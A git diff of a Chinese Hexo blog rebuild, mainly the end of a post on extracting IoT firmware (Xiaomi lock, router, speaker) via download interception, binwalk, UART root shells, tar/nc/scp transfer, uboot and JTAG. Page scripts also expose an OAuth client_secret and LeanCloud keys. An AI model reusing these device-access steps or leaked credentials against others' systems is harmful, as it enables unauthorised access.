+<p>案例：小米智能门锁<br><a href="http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&amp;Expires=1566136387000&amp;Signature=KLOrbsRANlJD7w7bKB03xI1t4/0=" target="_blank" rel="noopener">http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&amp;Expires=1566136387000&amp;Signature=KLOrbsRANlJD7w7bKB03xI1t4/0=</a></p>
+<p>./storage/emulated/0/Android/data/com.xiaomi.smarthome/cache/ble/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</p>
+<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ binwalk -Me 250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</span><br><span class="line"></span><br><span class="line">Scan Time:     2019-07-20 20:01:40</span><br><span class="line">Target File:   /home/han/ck/iot/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</span><br><span class="line">MD5 Checksum:  250cc495d7da7643680dadeab578fce0</span><br><span class="line">Signatures:    390</span><br></pre></td></tr></table></figure>
+<h1 id="通过串口读取"><a href="#通过串口读取" class="headerlink" title="通过串口读取"></a>通过串口读取</h1><p>工具：uart转usb<br>流程：找到电路板上的uart接口（RX、TX、+5v、GND）-&gt;串口通信-&gt;拿到shell-&gt;tar打包固件-&gt;nc传输<br>案例：小爱音响</p>
+<h1 id="刷开发板固件，开启ssh服务"><a href="#刷开发板固件，开启ssh服务" class="headerlink" title="刷开发板固件，开启ssh服务"></a>刷开发板固件，开启ssh服务</h1><p>有些厂商除了稳定版固件，还会提供开发版供发烧友“玩弄”。<br>案例：小米路由器的开发板可通过安装ssh工具包开启ssh服务<br>流程：开启ssh-&gt;tar打包固件<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">root@XiaoQiang:/# ls</span><br><span class="line">bin       data      dev       etc       extdisks  lib       mnt       opt       overlay   proc      readonly  rom       root      sbin      sys       tmp       userdisk  usr       var       www</span><br><span class="line"></span><br><span class="line">压缩提示没有足够的空间</span><br><span class="line">root@XiaoQiang:/# tar -zcf bin.tar.gz bin/*</span><br><span class="line">tar: can&apos;t open &apos;bin.tar.gz&apos;: No space left on device</span><br><span class="line"></span><br><span class="line">来看一下空间使用情况</span><br><span class="line">root@XiaoQiang:/# df -h</span><br><span class="line">Filesystem                Size      Used Available Use% Mounted on</span><br><span class="line">rootfs                   25.9M     25.9M         0 100% /</span><br><span class="line">none                     60.5M      4.5M     56.0M   7% /dev</span><br><span class="line">tmpfs                    60.9M      1.5M     59.4M   2% /tmp</span><br><span class="line">ubi0_0                   25.9M     25.9M         0 100% /</span><br><span class="line">tmpfs                    60.9M      1.5M     59.4M   2% /tmp</span><br><span class="line">tmpfs                    60.9M      1.5M     59.4M   2% /extdisks</span><br><span class="line">ubi1_0                   45.4M      6.7M     36.3M  16% /data</span><br><span class="line">ubi1_0                   45.4M      6.7M     36.3M  16% /userdisk</span><br><span class="line">ubi0_0                   25.9M     25.9M         0 100% /userdisk/data</span><br><span class="line">ubi1_0                   45.4M      6.7M     36.3M  16% /etc</span><br><span class="line"></span><br><span class="line">/dev目录下还有足够空间，继续压缩</span><br><span class="line">root@XiaoQiang:/# tar -zcf ./dev/bin.tar.gz bin/*</span><br><span class="line">root@XiaoQiang:/# tar -zcf ./dev/data.tar.gz data/*</span><br><span class="line">其他的目录也是一样的方法</span><br><span class="line"></span><br><span class="line">scp传输到本地</span><br><span class="line">scp root:password@miwifi:/dev/*.tar.gz ./Desktop</span><br></pre></td></tr></table></figure></p>
+<h1 id="uboot提取固件"><a href="#uboot提取固件" class="headerlink" title="uboot提取固件"></a>uboot提取固件</h1><p>案例：2018年看雪提供的摄像头</p>
+<h1 id="通过调试接口JTAG-SWD"><a href="#通过调试接口JTAG-SWD" class="headerlink" title="通过调试接口JTAG/SWD"></a>通过调试接口JTAG/SWD</h1><h1 id="拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取"><a href="#拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取" class="headerlink" title="拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取"></a>拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取</h1><h1 id="逻辑分析仪"><a href="#逻辑分析仪" class="headerlink" title="逻辑分析仪"></a>逻辑分析仪</h1>
+      
+    </div>
+    
+    
+    
+
+    
+
+    
+      <div>
+        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
+  <div>您的支持将鼓励我继续创作！</div>
+  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
+    <span>打赏</span>
+  </button>
+  <div id="QR" style="display: none;">
+
+    
+      <div id="wechat" style="display: inline-block">
+        <img id="wechat_qr" src="/images/Wechatpay.png" alt="Cool-Y 微信支付">
+        <p>微信支付</p>
+      </div>
+    
+
+    
+      <div id="alipay" style="display: inline-block">
+        <img id="alipay_qr" src="/images/Alipay.png" alt="Cool-Y 支付宝">
+        <p>支付宝</p>
+      </div>
+    
+
+    
+
+  </div>
+</div>
+
+      </div>
+    
+
+    
+
+    <footer class="post-footer">
+      
+        <div class="post-tags">
+          
+            <a href="/tags/IoT/" rel="tag"># IoT</a>
+          
+            <a href="/tags/硬件层/" rel="tag"># 硬件层</a>
+          
+        </div>
+      
+
+      
+      
+      
+
+      
+        <div class="post-nav">
+          <div class="post-nav-next post-nav-item">
+            
+              <a href="/2019/07/24/web-dvwa/" rel="next" title="DVWA黑客攻防平台">
+                <i class="fa fa-chevron-left"></i> DVWA黑客攻防平台
+              </a>
+            
+          </div>
+
+          <span class="post-nav-divider"></span>
+
+          <div class="post-nav-prev post-nav-item">
+            
+          </div>
+        </div>
+      
+
+      
+      
+    </footer>
+  </div>
+  
+  
+  
+  </article>
+
+
+
+    <div class="post-spread">
+      
+    </div>
+  </div>
+
+
+          </div>
+          
+
+
+          
+
+  
+    <div class="comments" id="comments">
+      
+        <div id="gitment-container"></div>
+      
+    </div>
+
+  
+
+
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+        <ul class="sidebar-nav motion-element">
+          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
+            文章目录
+          </li>
+          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
+            站点概览
+          </li>
+        </ul>
+      
+
+      <section class="site-overview-wrap sidebar-panel">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+      <!--noindex-->
+        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
+          <div class="post-toc">
+
+            
+              
+            
+
+            
+              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#官网获取或联系售后索取升级包"><span class="nav-text">官网获取或联系售后索取升级包</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#网络升级拦截"><span class="nav-text">网络升级拦截</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#通过串口读取"><span class="nav-text">通过串口读取</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#刷开发板固件，开启ssh服务"><span class="nav-text">刷开发板固件，开启ssh服务</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#uboot提取固件"><span class="nav-text">uboot提取固件</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#通过调试接口JTAG-SWD"><span class="nav-text">通过调试接口JTAG/SWD</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取"><span class="nav-text">拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#逻辑分析仪"><span class="nav-text">逻辑分析仪</span></a></li></ol></div>
+            
+
+          </div>
+        </section>
+      <!--/noindex-->
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
+<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+      <script type="text/javascript">
+      function renderGitment(){
+        var gitment = new Gitment({
+            id: window.location.pathname,
+            owner: 'Cool-Y',
+            repo: 'gitment-comments',
+            
+            oauth: {
+            
+            
+                client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
+            
+                client_id: '180955a2c3ae3d966d9a'
+            }});
+        gitment.render('gitment-container');
+      }
+
+      
+      renderGitment();
+      
+      </script>
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/about/index.html b/about/index.html
index 91bdf51b..6df4d466 100644
--- a/about/index.html
+++ b/about/index.html
@@ -160,7 +160,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -357,7 +357,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -367,7 +367,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -460,7 +460,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html
index bdfb0719..2b936e34 100644
--- a/archives/2000/01/index.html
+++ b/archives/2000/01/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2000/01/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -387,7 +390,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -397,7 +400,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +411,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +422,7 @@
               
               <div class="site-state-item site-state-tags">
